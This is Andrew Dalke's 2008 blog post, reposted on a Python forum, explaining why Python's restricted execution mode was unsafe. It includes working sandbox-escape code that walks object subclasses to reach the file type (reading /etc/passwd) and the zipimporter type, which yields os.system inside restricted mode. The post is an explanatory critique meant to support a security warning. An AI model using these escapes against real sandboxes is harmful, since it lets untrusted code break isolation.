The Artima Developer Community
Sponsored Link

Python Buzz Forum
Restricted python

0 replies on 1 page.

Welcome Guest
  Sign In

Go back to the topic listing  Back to Topic List Click to reply to this topic  Reply to this Topic Click to search messages in this forum  Search Forum Click for a threaded view of the topic  Threaded View   
Previous Topic   Next Topic
Flat View: This topic has 0 replies on 1 page
Andrew Dalke

Posts: 291
Nickname: dalke
Registered: Sep, 2003

Andrew Dalke is a consultant and software developer in computational chemistry and biology.
Restricted python Posted: Mar 2, 2008 5:14 PM
Reply to this message Reply

This post originated from an RSS feed registered with Python Buzz by Andrew Dalke.
Original Post: Restricted python
Feed Title: Andrew Dalke's writings
Feed URL: http://www.dalkescientific.com/writings/diary/diary-rss.xml
Feed Description: Writings from the software side of bioinformatics and chemical informatics, with a heaping of Python thrown in for good measure.
Latest Python Buzz Posts
Latest Python Buzz Posts by Andrew Dalke
Latest Posts From Andrew Dalke's writings

Advertisement

Long time ago there was the thought that Python could support a restricted execution mode, where untrusted code could be executed with limited capabilities. Quoting from the Python 2.2.3 manual:

There exists a class of applications for which this "openness'" is inappropriate. Take Grail: a Web browser that accepts "applets,'' snippets of Python code, from anywhere on the Internet for execution on the local system. This can be used to improve the user interface of forms, for instance. Since the originator of the code is unknown, it is obvious that it cannot be trusted with the full resources of the local machine.

Restricted execution is the basic framework in Python that allows for the segregation of trusted and untrusted code. It is based on the notion that trusted Python code (a supervisor) can create a ``padded cell' (or environment) with limited permissions, and run the untrusted code within this cell. The untrusted code cannot break out of its cell, and can only interact with sensitive system resources through interfaces defined and managed by the trusted code.

In practice this didn't work out. By the time 2.3 came out the restricted execution documentation said:
Warning: In Python 2.3 these modules have been disabled due to various known and not readily fixable security holes. The modules are still documented here to help in reading old code that uses the rexec and Bastion modules.
There were a lot of tricks to get around the problem. Over time the simple ones were patched but the problem is the Python C implementation (and probably the Java and .Net ones) weren't designed with security in mind. It's very hard to retrofit security.

Some of the restricted environment code stayed in Python. Here's a snippet from the CVS version just before 2.6a1.

        /* rexec.py can't stop a user from getting the file() constructor --
           all they have to do is get *any* file object f, and then do
           type(f).  Here we prevent them from doing damage with it. */
        if (PyEval_GetRestricted()) {
                PyErr_SetString(PyExc_IOError,
                "file() constructor not accessible in restricted mode");
                f = NULL;
                goto cleanup;
        }
The PyEval_GetRestricted() test checks to see if __builtins__ for the current frame is the same as Python's globals. If not, it's a restricted environment. Here's an example of the same code run in each environment:
>>> exec """print [x for x in ().__class__.__bases__[0].__subclasses__()
...      if x.__name__ == 'file'][0]('/etc/passwd').read()[:60]"""
##
# User Database
# 
# Note that this file is consulted whe


>>> L = G = dict(__builtins__ = {})
>>> exec """print [x for x in ().__class__.__bases__[0].__subclasses__()
...      if x.__name__ == 'file'][0]('/etc/passwd').read()[:60]""" in L, G
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "&tl;string>", line 1, in <module>
IOError: file() constructor not accessible in restricted mode
>>> 

Today I saw the recently contributed Python Cookbook Recipe which "create[s] a restricted python function from a string." Sounds nice so I looked at it. It basically uses what's left of the old rexec code, which is know to be untrustworthy for the general case.

For the person who posted the code it's probably good enough, but the recipe doesn't include the strong warnings I thought were needed. I added a comment, and to strengthen the comment decided to come up with an attack using the default recipe and without using any passed in variables.

I came close. If I know the location of an egg which has already been loaded and which contains a reference to the 'os' module then I can get access to os.system through the zipimporter type. One such common module is 'configobj'.

# Example attack code using the zipimport type to get around Python's
# restricted mode checks.

# Must import this otherwise zipimporter will fail because zlib can't
# be found.  (Reading another zip file fixes that, but then the import
# fails because it can't find __import__)
import configobj


attack_code = """

all_types = ().__class__.__bases__[0].__subclasses__()
file = [x for x in all_types if x.__name__ == "file"][0]

# Prove that I'm in restricted mode, or that I'm running
# on a non-unix-based machine.  This stop is optional
try:
    file("/dev/zero")
except:
    pass
else:
    assert "Was able to open a file!"
    1/0

zipimport = [x for x in all_types if x.__name__ == "zipimporter"][0]

# Easiest case would be on a system with a python*.zip file
# because I could import os directly this way.

egg = ("/Library/Frameworks/Python.framework/Versions/2.5/lib/"
       "python2.5/site-packages/configobj-4.4.0-py2.5.egg")
loader = zipimport(egg)
configobj = loader.load_module("configobj")
os = configobj.os

print "system call:", os.system("ls")

"""


L = G = dict(__builtins__ = {})
exec attack_code in L, G
This contains comments and some code to verify that I'm really running in restricted mode. Take that out and the attack code is an expression that doesn't need to be exec'ed and which doesn't use any passed in variables.
[x for x in ().__class__.__bases__[0].__subclasses__()
   if x.__name__ == "zipimporter"][0](
     "/Library/Frameworks/Python.framework/Versions/2.5/lib/"
     "python2.5/site-packages/configobj-4.4.0-py2.5.egg").load_module(
     "configobj").os.system("ls")

I considered reporting this as a bug to the Python maintainers, in case there was thought to slowly patch problems like this, but then noticed Python 3's "NEWS" file says

- Remove the f_restricted attribute from frames. This naturally leads to the removal of PyEval_GetRestricted() and PyFrame_IsRestricted().
Goodbye and good riddance. It won't confuse people into thinking it does something useful when it doesn't.

Read: Restricted python

Topic: GNU is killing Solaris Previous Topic   Next Topic Topic: Plone gives you 105%

Sponsored Links



Google
  Web Artima.com   

Copyright © 1996-2019 Artima, Inc. All Rights Reserved. - Privacy Policy - Terms of Use